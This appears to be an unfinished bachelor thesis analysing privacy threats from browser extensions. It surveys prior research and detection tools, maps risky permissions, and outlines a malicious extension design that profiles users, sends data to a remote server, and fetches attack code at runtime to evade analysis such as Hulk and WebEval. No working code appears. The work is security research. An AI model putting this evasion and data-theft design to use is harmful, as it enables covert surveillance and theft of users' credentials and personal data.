Privacy Threat Analysis Of Browser Extensions

Analyse der Privatsphäre von Browser-Erweiterungen
Bachelor-Thesis von Arno Manfred Krause
Tag der Einreichung:

1. Gutachten: Referee 1
2. Gutachten: Referee 2

TECHNISCHE UNIVERSITÄT DARMSTADT

Computer Science
cased

Privacy Threat Analysis Of Browser Extensions
Analyse der Privatsphäre von Browser-Erweiterungen

Vorgelegte Bachelor-Thesis von Arno Manfred Krause

1. Gutachten: Referee 1
2. Gutachten: Referee 2

Tag der Einreichung:

Contents

1 Introduction

1.1 Motivation

1.2 Goals

1.3 Approach

In this thesis, we first provide an overview of commonalities and differences of current browser extension models. We present the general structure of an extension and highlight the differences that exist between the architectures of different browsers. Our focal point of this thesis lies on a cross-browser extension model which is applicable to the popular browsers Chrome, Firefox, Edge, and Opera.

Next, we present the results of our analysis of the multi-browser extension architecture to find potential threats for a user. As a proof-of-concept for our theoretical analysis, we show our design an implementation which creates a malicious extension based on

2 Related Works

2.1 Threat Analysis And Counter Measurement

The extension architectures of Chrome extensions and Firefox Add-ons were the target of several scientific researches and analysis [8, 13, 16, 23, 32, 29]. To counter found security flaws, the researcher proposed different approaches that range from proposals to remove certain functions to complete new extension models.

Barth et al. analyzed Firefox's Add-on model and found several exploits which may be used by attackers to gain access to the user's computer [8]. In their work, they focus on unintentional exploits in extensions which occur because extension developer are often hobby developers and not security experts. Firefox runs its extensions with the user's full privileges including to read and write local files and launch new processes. This gives an attacker who has compromised an extension the possibility to get control over the user's computer. Barth et al. proposed a new model for extensions to decrease the attack surface in the case that an extension is compromised. For that purpose, they proposed a privilege separation and divided their model in three separated processes. *Content scripts* have full access to the web pages DOM, but no further access to browser intern functions because they are exposed to potentially attacks from web pages. The browser API is only available to the extension's *background* which runs in another process as the content scripts. Both can exchange messages over a string-based channel. The core has no direct access to the user's machine. It can exchange messages with optionally *native binaries* which have full access to the host.
To further limit the attack surface of extensions, Barth et al. provided an additional separation between content scripts and the underlying web page called *isolated world*. The web page and each content script runs in its own process on the operating system and has its own `document` object that mirrors the web page's DOM. If a script changes the DOM - for example by `element.innerHTML`, all associated objects are updated accordingly. On the other hand, if a non-standard DOM property is changed such as `document.foo` or a DOM method is overridden, the changes are not reflected onto the other objects. This implementation makes it more difficult to compromise a content script because it denies the possibility to manipulate a DOM method that is high likely to be used by the targeted script in a malicious way.
For the case, that an attacker was able to compromise the extension's core and gains access to the browser's API, Barth et al. proposed a permission system with the principle of least privileges to reduce the amount of available API functions at runtime. Each extension has by default no access to functions which are provided by the browser. It has to explicit declare corresponding permissions to these functions on installation. Therefore, the attacker can only use API functions which the developer has declared for his extension.
Google adapted the extension model from Barth et al. for their Chrome browser in 2010. Therefore, it is also the basis for the extension model that we analyze in this paper.

Ter Louw et al. evaluated Firefox's Add-on model with the main goal to ensure the integrity of an extension's code [32]. They implemented an extension to show that it is possible to manipulate the browser beyond the features that Firefox provides to its extensions. They used the found exploits to hide their extension completely by removing it from the list of installed extensions and injecting it into an presumably benign extension. Furthermore, their extension collects any user input and data and sends it to an remote server. The integrity of an extension's code can be harmed because Firefox signs the integrity on the extension's installation but does not validate it when loading the extension. Therefore, an malicious extension can undetected integrate code into an installed extension. To remove this vulnerability Ter Louw et al. proposed user signed extensions. On installation the user has to explicit allow the extension which is then signed with a hash certificate. The extension's integrity will be tested against the certificate when it is loaded. To protect the extension's integrity at runtime they added policies on a per extension base such as to disable the access to Firefox's native technologies.

Carlini et al. evaluated Google's implementation of the extension model proposed by Barth et al. They focused on the three security principles: *isolated world*, *privilege separation* and *permissions* [13, 8]. For that purpose, they reviewed 100 extensions and found 40 containing vulnerabilities of which 31 could have been avoided if the developer would have followed simple security best practices such as using HTTPS instead of HTTP and the DOM function innerText that does not allow inline scripts to execute instead of innerHtml. Evaluating the isolated world mechanism, they found only three extensions with vulnerabilities in content scripts; two due to the use of eval. Hence, they stated that isolated

world effectively shields content scripts from malicious web pages, if the developer does not implement explicit cross site scripting attack vectors. Privilege separation should protect the extension's background from compromised content scripts. But Carlini et al. discovered that it is rarely needed because content scripts are already effectively protected by the isolated world mechanism. They discovered that network attacks are a bigger thread to the extension's background than attacks from a web page. An attacker can compromise an extension by modifying a remote loaded script that was fetched over a HTTP request. The permission system acts as security mechanism in the case that the extension's background is compromised. Their review showed that developers of vulnerable extensions still used permissions in a way that reduced the scope of their vulnerability. To increase the security of Chrome extensions, Carlini et al. proposed to ban the loading of remote scripts over HTTP and inline scripts inside the extension's background. They did not propose to ban the use of eval in light of the facts that eval itself was mostly not the reason for a vulnerability and banning it would break several extensions.

In our work, we contribute an analysis of the extension architecture applicable to Chrome, Firefox, Edge, and Opera with the focus on attacks that we can execute with a malicious extension. For that purpose, we conduct a threat analysis of an extensions capabilities focusing on the browser's API and content scripts. Furthermore, we present concrete attack scenarios and their implementations.

2.2 Analysis Of Possible Extension Attacks

That the privileges an extension posses may be used to execute attacks against the user's privacy or others is not a newly uprising topic. Researchers have evaluated the threats from malicious extensions before [23, 10]. As a proof-of-concept, the researchers implemented malicious extensions themselves and in most cases successfully executed the implemented attacks.

Liu et al. evaluated the security of Chrome's extension architecture against intentional malicious extensions [23]. Their implementation of a malicious extension is able to execute password sniffing, email spamming, DDoS, and phishing attacks. The extension needs minimal permissions to execute the attacks such as access to the tab system and access to all web pages with the `http://*/*` and `https://*/*` permissions. To demonstrate that those permissions are used in real world extensions, they analyzed popular extensions and revealed that 19 out of 30 evaluated extensions did indeed use the `http://*/*` and `https://*/*` permissions. Furthermore, they analyzed threat models which exists due to default permissions such as full access to the DOM and the possibility to unrestrictedly communicate with the origin of the associated web page. These capabilities allow malicious extension to execute cross-site request forgery attacks and to transfer unwanted information to any host. To increase the privacy of a user, Liu et al. proposed a more fine grained permission architecture. They included the access to DOM elements in the permission system in combination with a rating system to determine elements which probably contain sensitive information such as password fields or can be used to execute web requests such as iframes or images.

A further research about malicious Chrome extensions demonstrates a large list of possible attacks to harm the user's privacy [10]. Bauer et al. implemented several attacks such as stealing sensitive information, executing forged web request, and tracking the user. All their attacks work with minimal permissions and often use the `http://*/*` and `https://*/*` permissions. They also exposed that an extension may hide it's malicious intend by not requiring suspicious permissions. To still execute attacks, the extension may communicate with another extension which has needed permissions.

We contribute an in-depth threat analysis of an extension's capabilities but do not confine ourselves to the extension model of a single browser. Instead, we focus on the cross-browser extension architecture which is applicable to most popular browsers. Our proof-of-concept consists of multiple, interchangeable components of extension code which execute different attacks. We are able to integrate our implementation into a benign extension based on the extension's permissions to hide the malicious intend. Thereby, the modified extension is able to silently execute attacks against beforehand identified users. Finally, we analyze popular extensions and show that our implementation is indeed applicable to real life scenarios.

2.3 Extension Evaluation

Hulk is an dynamic analysis and classification tool for chrome extensions [20]. It categorizes analyzed extensions based on discoveries of actions that may or do harm the user. An extension is labeled *malicious* if behavior was found that is

harmful to the user. If potential risks are present or the user is exposed to new risks, but there is no certainty that these represent malicious actions, the extension is labeled *suspicious*. This occurs for example if the extension loads remote scripts where the content can change without any relevant changes in the extension. The script needs to be analyzed every time it is loaded to verify that it is not malicious. This task can not be accomplished by an analysis tool. Lastly an extension without any trace of suspicious behavior is labeled as *benign*. Alexandros Kapravelos et al. used Hulk in their research to analyze a total of 48,322 extensions where they labeled 130 (0.2%) as malicious and 4,712 (9.7%) as suspicious.
Static preparations are performed before the dynamic analysis takes action. URLs are collected that may trigger the extension's behavior. As sources serve the extension's code base, especially the manifest file with its host permissions and URL pattern for content scripts, and popular sites such as Facebook or Twitter. This task has its limitation. Hulk has no account creation on the fly and can therefore not access account restricted web pages.
The dynamic part consists of the analysis of API calls, in- and outgoing web requests and injected content scripts. Some calls to Chrome's extension API are considered malicious such as uninstalling other extensions or preventing the user to uninstall the extension itself. This is often accomplished by preventing the user to open Chrome's extension tab. Web requests are analyzed for modifications such as removing security relevant headers or changing the target server. To analyze the interaction with or manipulation of a web page Hulk uses so called *honey pages*. Honey pages consists of overridden DOM query functions that create elements on the fly. If a script queries for a DOM element the element will be created and any interaction will be monitored.

WebEval is an analysis tool to identify malicious Chrome extensions [18]. Its main goal is to reduce the amount of human resources needed to verify that an extension is indeed malicious. Therefore, it relies on an automatic analysis process whose results are valuated by an self learning algorithm. Ideally the system would run without human interaction. The research of Nav Jagpal *et al*. shows that the false positive and false negative rates decreases over time but new threads result in a sharp increase. They arrived at the conclusion that human experts must always be a part of their system. In three years of usage WebEval analyzed 99,818 extensions in total and identified 9,523 (9.4%) malicious extensions. Automatic detection identified 93.3% of malicious extensions which were already known and 73,7% of extensions flagged as malicious were confirmed by human experts.
In addition to their analysis pipeline they stored every revision of an extension that was distributed to the Google Chrome web store in the time of their research. A weakly rescan targets extensions that fetch remote resources that may become malicious. New extensions are compared to stored extensions to identifying near duplicated extensions and known malicious code pattern. WebEval also targets the identification of developer who distribute malicious extensions and fake accounts inside the Google Chrome web store. Therefore reputation scans of the developer, the account's email address and login position are included in the analysis process.
The extension's behavior is dynamically analyzed with generic and manual created behavioral suits. Behavioral suits replay recorded interactions with a web page to trigger the extension's logic. Generic behavioral suits include techniques developed by Kapravelos et al. for Hulk [20] such as *honeypages*. Manual behavioral suits test an extension's logic explicit against known threads such as to uninstall another extension or modify CSP headers. In addition, they rely on anti virus software to detect malicious code and domain black lists to identify the fetching of possible harmful resources. If new threads surface WebEval can be expanded to quickly respond. New behavioral suits and detection rules for the self learning algorithm can target explicit threads.

VEX is a static analysis tool for Firefox Add-ons [6]. Sruthi Bandhakavi et al. analyzed the work flow of Mozilla's developers who manually analyze new Firefox Add-ons by searching for possible harmful code pattern. They implemented VEX to extend and automatize the developer's search and minimize the amount of false-positive results. VEX statically analyses the flow of information in the source code and creates a graph system that represents all possible information flows. They created pattern for the graph system that detect possible cross-site scripting attacks with *eval* or the DOM function *innerHtml* and Firefox specific attacks that exploit the improper use of *evalInSandbox* or wrapped JavaScript objects. More vulnerabilities can be covered by VEX by adding new flow pattern. VEX targets buggy Add-ons without harmful intent or code obfuscation.

Oystein Hallaraker et al. developed an auditing system for Firefox's JavaScript engine to detect malicious code pieces [16]. The system logs all interaction JavaScript and the browser's functionalities such as the DOM or or the browser's native code. The auditing output is compared to pattern to identify possible malicious behavior. Hallaraker et al. did not propose any mechanism to verify that detection results are indeed malicious. The implemented pattern can also match benign code. Their work targets JavaScripts embedded into web pages. Applying their system to extensions could

be difficult, because extensions do more often call the browser's functionalities in an benign way due to an extension's nature.

We do not provide a contribution about the detection of malicious extensions, but felt it is necessary to provide the reader with an overview how extension detection works because we developed our design to bypass the described approaches.

2.4 Information Flow Control In JavaScript

Philipp Vogt et al. developed a system to secure the flow of sensitive data in JavaScript browsers and to prevent possible cross-site scripting attacks [34] . They taint data on creation and follow its flow by tainting the result of every statement such as simple assignments, arithmetical calculations, or control structures. For this purpose they modified the browser's JavaScript engine and also had to modify the browser's DOM implementation to prevent tainting loss if data is temporarily stored inside the DOM tree. The dynamic analysis only covers executed code. Code branches that indirect depend on sensitive data can not be examined. They added a static analysis to taint every variable inside the scope of tainted data to examine indirect dependencies.
The system was designed to prevent possible cross-site scripting attacks. If it recognizes the flow of sensitive data to an cross-origin it prompts the user to confirm or decline the transfer. An empirical study on 1,033,000 unique web pages triggered 88,589 (8.58%) alerts. But most alerts were caused by web statistics or user tracking services. This makes their system an efficient tool to control information flow to third parties. The system could be applied to extensions for the same purpose and as security mechanism to prevent data leaking in buggy extensions.

Sabre is a similar approach to the tainting system from Vogt et al. but focused on extensions [14, 34]. It monitors the flow of sensitive information in JavaScript base browser extensions and detects modifications. The developers modified a JavaScript interpreter to add security labels to JavaScript objects. Sabre tracks these labels and rises an alert if information labeled as sensitive is accessed in an unsafe way. Although their system is focused on extensions it needs access to the whole browser and all corresponding JavaScript applications to follow the flow of data. This slows down the browser. Their own performance tests showed an overhead factor between 1.6 and 2.36. A further disadvantage is that the user has to decide if an alert is justified. The developer added a white list for false positive alarms to compensate this disadvantage.

3 Background

3.1 Terminology

Web Browser

A *web browser* or simply *browser* is an application that allows a user to interact with the Internet. Its main purpose is to display fetched web pages and to allow the user to interact with them. Internally, it communicates with remote servers by sending HTTP and HTTPS requests and processing the returned responses. Therewith, it fetches HTML web pages from and sends user information back to the servers.

Browser Extension

A *browser extension* is an additional piece of software that extends the functionality of a browser. With an extension, it is possible to modify the visual style and behavior of a browser itself and displayed web pages.

Web Application

Web Page

Document Object Model (DOM)

Same Origin Policy (SOP)

The *Same Origin Policy* is a browser security policy that isolates web pages with different *origins* from each other. The origin of a web page is defined by the scheme, host, and port of its URL [7]. The browser permits scripts to access the content of another web page only if both have the same origin. Whereas, the origin of a script is defined by the origin of the web page that it is embedded into and not the origin from where the script was fetched. This policy prevents malicious scripts to access sensitive information from another web page and to execute requests to cross-origins.

Content Security Policy (CSP)

The *Content Security Policy* is another browser security policy that restricts the sources from which the web page is allowed to fetch its resources [35]. This policy is intended to mitigate potential cross-site scripting attacks where an attacker tries to access another origin either to fetch malicious content or to transfer before collected, sensitive data.

XMLHttpRequest (XHR)

3.2 Extension Architecture

We have analyzed the extension architectures of different browsers. Above all, the extension model that is the target of this paper and is applicable to Google's *Chrome* browser, Mozilla's *Firefox* browser, Microsoft's *Edge* browser, and the *Opera* browser. Additionally, we investigated the soon deprecated extension model of Firefox called *Add-ons* and the extension model of Safari. First, we provide an overview of the general structure of extensions and then highlight the characteristics of the different models.

3.2.1 General Structure

The extension architectures that we have analyzed, consists of a general structure. They are developed in the web technologies JavaScript, HTML, and CSS and consist of two parts: the extension's background and content scripts. Each extension has a manifest that holds its meta information such as the extension's name, description, and source code files.

Background

The extension's background is a container for the extension's logic. For that purpose, any script inside the background has full access to the APIs provided by the browser such as the access to the browser's bookmark system, the web history, or the browser's user interface.

Content Scripts

The extension has no direct access to a web page from withing its background. Therefore, it executes content scripts in the scope of the web page with access to the web page's DOM. The extension's content scripts and background can not directly interact with each other. They can only exchange messages over a string-based channel. This communication channel comes in handy, because content scripts have almost no access to the browser's API.

An extension can register a content script in combination with an URL pattern which is then injected in each web page whose URL matches the pattern. Wildecards in the URL pattern allow to register a content script for multiple web pages. For example, a content script with the URL pattern `http://*.example.com/*` would be injected into the pages `http://api.example.com/` and `http://www.example.com/foo` but not into the pages `https://www.example.com/` and `http://www.example.org/`.

3.2.2 Differences Between The Browsers

The different extension architectures provide different features to their extensions. The before described structure consists only of commonalities. In this section we present the characteristics of the analyzed architectures.

Multi-browser Extensions

The extension model that we investigate in this paper is based on a research from 2010 [8]. The researchers examined the model of Firefox's Add-ons and revealed many vulnerabilities in connection to Add-ons running with the user's full privileges. This enables an attacker, in the case that he has compromised the Add-on, to access arbitrary files and launch new processes. To counter the found exploits, the researchers proposed a new model that should protect the user from unintentionally implemented vulnerabilities.

The developers of Google's Chrome browser where the first to adapt the proposed model in 2010. Then in 2013, the developers of the Opera browser switched the browser's underlying framework to *Chromium* which is also the framework for Chrome [11]. With this change, they adopted the same extension architecture that Chrome uses. In 2015, the

developers of Mozilla's Firefox browser announced that they will support the extension model, too. They published a first version of their implementation in version 42 of Firefox. Currently, their implementation is still in development and therefore not all browser APIs are supported [3]. Similar, Microsoft started in 2016 to implement the extension architecture for their Edge browser and the support for many browser APIs is currently still in development [2].

The extension's general architecture is divided into three components where each has its own unique set of privileges. Content scripts which have access to the web page, the background which has access to the browser API, and optionally included native binaries which have access to the host system with the user's full privileges. Unlike Firefox Add-ons, only one component of the extension is able to access the user's machine. Additionally, each component runs in its own process on the operating system. This creates an efficient boundary between the components because they do not share a common memory section and are therefore not able to invoke methods or access variables of each other. To be able to communicate, a JSON-based channel exists between a content script and the background and the native binary and the background.

Background

The extension's background consists of a single, for the user not visible HTML page which holds the scripts that execute the extension's logic. To reduce the threat of potential cross-site scripting attacks, the background page underlies a Content Security Policy. The default CSP consists of the values `script-src 'self'` and `object-src 'self'`. This limits the loading of scripts and other resources to files from within the extension's bundle. Additionally, it disables the use of `eval` and related functions such as `setTimeout(string, number)`, `setInterval(string, number)`, and `new Function(string)` and it disables inline JavaScript (`<script>...</script>`) and inline event handler (`<button onclick="...">`).
A developer may relax or tighten the policy for his extension by declaring a custom CSP in the extension's manifest which has to contain at least the `script-src` and `object-src` keys. Adding the URL of a remote origin to the CSP allows to fetch resources from the declared host. To ensure that remotely loaded resources have not been replaced or modified by an attacker, only origins that use the secured HTTPS protocol are allowed. If the developer wishes to use `eval` or related functions in his extension's background page, he has to add the value `'unsafe-eval'` to the `script-src` key. If he wishes to use inline scripts, he has to add the hash value of the script to the `script-src` key.

To restrict the attacker's operating range if he has compromised an extension's background, the access to the browser's functionality is restricted. By default, an extension has no access to any API module at runtime. The developer has to explicit declare permissions in the extension's manifest that enable the access to associated API modules. The declared permissions are static and can not be changed at runtime. Neither by the extension itself, nor by an attacker.

Content Scripts

Because content scripts are exposed to potential attacks from malicious web pages, they underly an additional security feature. Each content script and the JavaScript inside the web page runs in its own process on the operating system. Consequently, none of them is able to access methods or variables of another. Furthermore, each script has its own instance of the `document` object mirroring the web page's DOM that is natively stored inside the browser. If a script modifies the DOM, each instance is updated accordingly. But if a script overrides a DOM method or adds a non-standard property to its `document` object, the changes will not be transfered to the DOM and consequently not to other instances of the `document` object, too.

This mechanism effectively shields content script from *cross-origin JavaScript capability leak* attacks that try to manipulate the behavior of JavaScript methods used by the content script [13, 9]. Furthermore, if a content script inserts untrusted content as HTML into a web page's DOM for instance setting the `innerHTML` property, any code inside the content will be executed inside the web page's separated process instead of the content script's process. Thus, the strict separation prevents potential XSS attacks against the extension that the developer may has added unintentionally.

Firefox Add-ons

Firefox's support for the multi-browser extension model is currently still in development [3]. Therefore, extensions implemented in the old Add-on model are still in use.

Firefox Add-ons are developed with a JavaScript framework distributed by Mozilla.

Firefox uses a security mechanism to prevent an attacker that has compromised an Add-on to access modules that are not explicit requested inside the add-on. On compiling the add-on, a scanner lists all requests to modules inside the add-on's code. The runtime loader will actually prevent the loading of modules that are not listed. This prevents an attacker to use further modules and more privileged functions at runtime.

Background

Content Scripts

Safari Extensions

Apple's Safari browser has a build-in user interface for extension development called *Extension Builder*. It manages the extension's content such as meta information or source code files. To publish an extension, the developer needs a certificate provided by Apple. This ensures that only known developer are able to publish extensions and hampers the distribution of malicious extensions. If a certificate is invalid Safari will disable the developer's extensions.

The Extension Builder provides an additional feature to block content in web pages. The developer can add rules to his extension that are compiled into a byte-code format and processed directly at runtime. This renders the programmatically examination of content and determination of blocking unnecessary and therefore provides a better performance [5].

Background

Safari provides almost no APIs to its extensions. The extensions are limited to interaction with web page content.

Content Scripts

4 Threat Analysis

An extension can use a wide range of different features to enhance the user's interaction with a web page. We want to show that these features may be used by a developer of a malicious extension to harm the user. For that purpose, we have analyzed the extension's capabilities and found potential threats. We have found several permissions and modules that an attacker may use to harm the user's privacy, use his device to launch attacks against others, or remove privacy preserving measures and therefore support attacks from malicious web pages.

4.1 Content Scripts

A big threat to the user's privacy that an extension posses is its full access to a web page. If the extension uses a content script with a URL pattern that matches any web page, it has access to any user data that the page contains. There exists no further restriction such as additional permissions to access password fields or other container of sensitive data. Furthermore, an extension is able to execute cross-origin requests to any arbitrary web page. For that purpose, it can use the mechanics of a DOM element that fetches a resource from a remote server such as an iframe, image, script, or link. We have listed some potential attack scenarios:

- **Steal User Data From Forms** Any information the user transmits over a form in a web page is accessible for an extension. To steal this information, the extension adds an event listener which is dispatched when the user submits the form. At this point in time, the extension can read out all information that the user has entered in the form. This approach gives the attacker access to the user's personal information such as his address, email, phone number, or credit card number but also to identification data such as social security number, identity number, or credentials. Especially username and password for a website's login are typically transmitted with a form.

- **Steal Displayed User Data** Any information about the user that a web page contains is accessible for an extension. To steal this information, the attacker has to explicit know where it is stored in the web page. This is mostly a trivial task, because most web pages are public and the attacker is therefore able to analyze the targeted web page's structure. With this attack, an attacker is able to obtain a broad range of different information such as the user's financial status from his banking portal, his emails and contacts, his friends and messages from social media, or bought items and shopping preferences.

- **Modify Forms** An extension can add new input elements to a form. This tricks the user into filling out additional information that are not necessary for the website but targeted by the attacker. For that purpose, the extension adds the additional input fields to the form when the web page loads, steals the information when the user submits the form, and removes the additional fields afterwards. The last step is necessary because the web application would return an error the form's structure was modified. This attack will succeed if the user does not know the form's structure beforehand. To decrease the probability that the user knows the form already, the extension can determinate whether or not the user has visited the web page to an earlier date before executing the attack.

- **Modify Links** An extension can modify the URL of a link element to redirect the user to a another web page. This page may be malicious and infect the user's device with malware or it may be a duplicate of the web page to which the link originally led and steal the user's data. But the attacker may also enrich himself through the extension's users. Some companies pay money for every time someone loads a specific web page. The attacker can redirect the user to this web page and gain more profit.

- **Denial Of Service** If the source attribute of a DOM element such as an iframe or image changes, the browser sends a HTTP request to fetch the desired resource from the targeted server. An extension can add an unlimited number of elements to the web page's DOM and thereby flood a targeted server with requests. The attack is even more potent if the malicious extension is installed on many browsers and each executes the attack simultaneously.

4.2 Browser API

The following paragraphs show the threats which we found in the browser's API modules. Each paragraph has the module's name as heading which is equal to the associated permission. Additionally, if the permission results in a warning on the extension's installation, we added it to the paragraph.

background

This permission is an exception, because it is not related to an API module. Instead, if one or more extensions with the background permission are installed and active, the browser starts its execution with the user's login into the operating system without being invoked and without opening a visible window. The browser will not terminate when the user closes its last visible window but keeps staying active in the background. This behavior is only implemented in Chrome and can be disabled generally in Chrome's settings.

A malicious extension with this permission can still execute attacks even when no browser window is open.

bookmarks

This module gives access to the browser's bookmark system. The extension can create new bookmarks, edit existing ones, or remove them. It can also search for particular bookmarks based on parts of the bookmark's title, or URL and retrieve the recently added bookmarks.

The user's bookmarks give information about his preferences and used web pages. This may be used to identify the currently active user or to determinate potential web page targets for further attacks.

On installation, an extension with this permission shows the user the following warning:

Read and modify your bookmarks

contentSettings

The browser provides a set of *content settings* that control whether web pages can include and use features such as cookies, JavaScript, or plugins. This module allows an extension to overwrite these settings on a per-site basis instead of globally.

A malicious extension can disable settings which the user has explicitly set. This will probably decrease the user's security while browsing the web and support malicious web pages.

On installation, an extension with this permission shows the user the following warning:

Manipulate settings that specify whether websites can use features such as cookies, JavaScript, plugins, geolocation, microphone, camera etc.

cookies

This module give an extension read and write access to all currently stored cookies, even to *httpOnly* cookies that are normally not accessible by client-side JavaScript.

An attacker may use an extension to steal session and authentication data which are commonly stored in cookies. This allows him to act with the user's privileges on affected websites. Furthermore, an malicious extension may restore deleted tracking cookies and thereby support user tracking attempts from websites.

downloads

This module allows an extension to initiate and monitor downloads. Some of the module's functions are further restricted by additional permissions. To open a downloaded file, the extension needs the `downloads.open` permission and to enabled or disable the browser's download shelf, the extension needs the permission `downloads.shelf`.

With the additional permission `downloads.open`, a malicious extension can download a harmful file and execute it. Another malicious approach is to exchange a benign downloaded file with a harmful one without the user noticing.

geolocation

The HTML5 geolocation API provides information about the user's geographical location to JavaScript. With the default browser settings, the user is prompted to confirm if a web page want's to access his location. If an extension uses the geolocation permission, it can use the API without prompting the user to confirm.

On installation, an extension with this permission shows the user the following warning:

Detect your physical location

management

This module provides information about currently installed extensions. Additionally, it allows to disable and uninstall extensions. To prevent abuse, the user is prompted to confirm if an extension wants to uninstall another extension.

An attacker may use the feature to disable another extension to silently disable security relevant extension such as *Adblock*[1], *Avira Browser Safety*[2], or *Avast Online Security*[3].

On installation, an extension with this permission shows the user the following warning:

Manage your apps, extensions, and themes

proxy

Allows an extension to add and remove proxy server to the browser's settings. If a proxy is set, all requests are transmitted over the proxy server.

This feature may be used by an attacker to send all web requests over a malicious server. For example, a server that logs all requests and therefore steal any use information that is transmitted unsecured.

On installation, a extension with this permission shows the user the following warning:

Read and modify all your data on all websites you visit

system

The `system.cpu`, `system.memory`, and `system.storage` permissions provide technical information about the user's machine.

These information may be used to create a profile of the current user's machine and identify him on later occasions.

[1] AdBlock on the Chrome Web Store: `https://chrome.google.com/webstore/detail/adblock/gighmmpiobklfepjocnamgkkbiglidom`

[2] Avira Browser Safety on the Chrome Web Store: `https://chrome.google.com/webstore/detail/avira-browser-safety/flliilndjeohchalpbbcdekjklbdgfkk`

[3] Avast Online Security on the Chrome Web Store: `https://chrome.google.com/webstore/detail/avast-online-security/gomekmidlodglbbmalcneegieacbdmki`

tabs

An extension can access the browser's tab system with the tabs module. This enables the extension to create, update, or close tabs. Furthermore, it provides the functionality to programmatically inject content scripts into web pages and to interact with a content script which is active in a particular tab. To inject a content script, the extension needs a proper host permission that matches the tab's current web page. The tabs permission does not restrict the access to the tabs module but only the access to the URL and title of a tab.

A malicious extension may prevent the user from uninstalling it by closing the browser's extensions tab as soon as the user opens it. The programmatically injection takes a content script either as a file in the extension's bundle or as a string of code. Therefore, a malicious extension may inject remotely loaded code into a web page as a content script that executes further attacks.

On installation, an extension with this permission shows the user the following warning:

Access your browsing activity

webRequest

This module enables an extension to modify outgoing web requests and their responses. For that purpose, it provides several events which are fired at different stages of a web request's life cycle. To get access to the web requests, the extension needs the `webRequests` permission and proper host permissions that match the request's URL. Additionally, the `webRequestBlocking` permission is needed in order that the extension can block the web request's processing and manipulate it. Blocking can be used to cancel or redirect the request and to modify the request's and the response's headers.

A malicious extension can use this module to remove security relevant headers such as a CSP , intercept outgoing requests, or redirect requests from benign to malicious web pages.

This permission itself does not result in a warning when an extension that requires it is installed. But, to get access to the data of a web request the extension needs proper host permissions and these result in a warning. The often used host permissions `http://*/*`, `https://*/*`, and `<all_urls>` result in the following warning:

Read and modify your data on all websites you visit

5 Design

We have analyzed potential threats in the browser API and showed our results in the previous chapter. In this chapter we present our design and implementation to proof that the results of our theoretical analysis are applicable in practical scenarios.

We designed our implementation as a set of components with different functionalities and permissions. This allows us to integrate some of our components into a benign extension if the component's permissions match the extension's permissions. Our design consists of a set of core components. Their duty is to collect as much as possible pieces of information about the current user of the extension an send them to a remote server. If the server has successfully identified the user, we load further components into the extension which execute different attacks. In conclusion, our design consists of the following three steps whereas each consists of interchangeable components:

1. Collect information about the current user to identify him.

2. Transfer collected information to a remote server and fetch the source code for an attack after a successful identification.

3. Execute the fetched attack.

This design brings several advantages. Because the code for an attack is fetched remotely at runtime, our implementation is able to bypass a static analysis which uses content matching to find known malicious code pattern. Furthermore, the identification of the current user allows us not only to attack a worthwhile target but also to bypass a dynamic analysis. If we are able to detect that our implementation is currently the target of a dynamic analysis, we can fetch a benign script instead of our attack script.

For our implementations, we use the popular web library *jQuery*[1] to simplify the interaction with a web page's DOM.

[1] jQuery Homepage: `http://jquery.com/`

5.1 Identification

Identifying the current user of our extension allows us to target our attack only at specific users. In beforehand, we can evaluate whether or not an attack is worthwhile if we collect as much as possible pieces of information about the user such his financial status or his position in a company we want to target. Furthermore, we are able to detect if our extension is target of an dynamic analysis such as *Hulk* or *WebEval* and evade detection [20, 18].

To find approaches which we can use for our implementation, we first analyzed existing techniques for user tracking and fingerprinting. We present our results and our own implementations to support these techniques in the following two sections. Furthermore, we present selected parts of our implementations to collect the user's personal information in the third section.

We transfer collected information to our remote server which handles the identification. Because the communication between the extension and a remote server is not part of this section, we refer to our implementations that we show in Section 5.2 as *send method*.

5.1.1 User Tracking

User tracking refers to the linking of multiple web pages that were visited by the same user. Applying this technique to web page's that belong to the same domain allows to follow the user's path through the domain's pages and determine his entry and exit points. This is commonly used for web analytics to help the website's author to improve the usability of his layout. User tracking between different domains produces an overview about the user's movement through the Internet. It is often used by advertising companies who extract the user's personal needs and preferences from the websites he visits to provide personalized advertisements.

The general method for user tracking includes a unique identifier which is intentionally stored on the user's machine the first time he visits a tracking web page. If the identifier is retrieved on later occasions, it notifies the tracking party that the same user has accessed another web page. There exists several possibilities to store data inside the browser. We have listed some approach which we found in several research papers:

- **HTTP Cookies** Cookies are send back on every web request to their origin server. This simplifies user tracking, because the website's host does not have to take care about storing the cookie client-sided and retrieving it.

- **Local Storage**

- **Browser Plugins** A plugin is a local application that is embedded in a web page. Commonly used plugins are Flash Player or Java. Because these applications are independent of the browser, they can store information across multiple browsers.

- **Tracking Cookies** The most used web technology to track users are HTTP cookies. If a user visits a web page that includes a resource from a tracking third-party, a cookie is fetched together with the requested resource and acts as an identifier for the user. When the user now visits a second web page that again includes some resource from the third-party, the stored cookie is send along with the request for the third-party's resource. The third-party vendor has now successfully tracked the user between two different web pages.

- **Local Shared Objects** Flash player use a technique similar to cookies to synchronize data between different browser sessions. The data is locally stored on the user's system by websites that use flash. Flash cookies as tracking mechanism have the advantage that they track the user behind different browsers and they can store up to 100KB whereas HTTP cookies can only store 4KB. Before 2011, the user could not easily delete local shared objects from within the browser because browser plugins hold the responsibility for their own data. In 2011 a new API was published that simplifies this mechanism [4].

- **Evercookies** Evercookie is a JavaScript framework implemented to produce persistent identifiers in a browser that are difficult to remove [19]. For that purpose, it uses multiple storage technologies such as HTTP and Flash cookies, HTML5 storages, web history and cache, and unusual techniques such as storing the identifier in RGB

values of cached graphics. To hamper the removing from a browser, it recreates deleted identifiers as soon as the user visit a web site that uses the framework. The user has to delete every stored identifier to remove the evercookie completely.

Web Beacon

If a user loads a web page that includes a resource from a tracking third-party, any cookie that originates from the third-party's domain is send along the request that fetches the resource. This allows the third-party to track the user on every web page that includes their content. These kind of third-party content whose only purpose is user tracking are called web beacons. A small image, commonly one pixel in size and transparent, is often used as a web beacon. Because of its size it requires less traffic and its transparency hides it from the user. It is also used in HTML emails and acts as a read confirmation by notifying the sender that the email's content was loaded. Other nowadays more commonly used web beacons originate from social media such as Facebook's "like" button.

To allow user tracking between different websites, the developers have to explicit include the web beacon into their web pages. We use an extension which has full access to any visited web page and add the web beacon to the DOM of each web page. If we send a tracking cookies along the corresponding request, we are able to remotely track the user because our server gets notified every time the user loads a new web page.

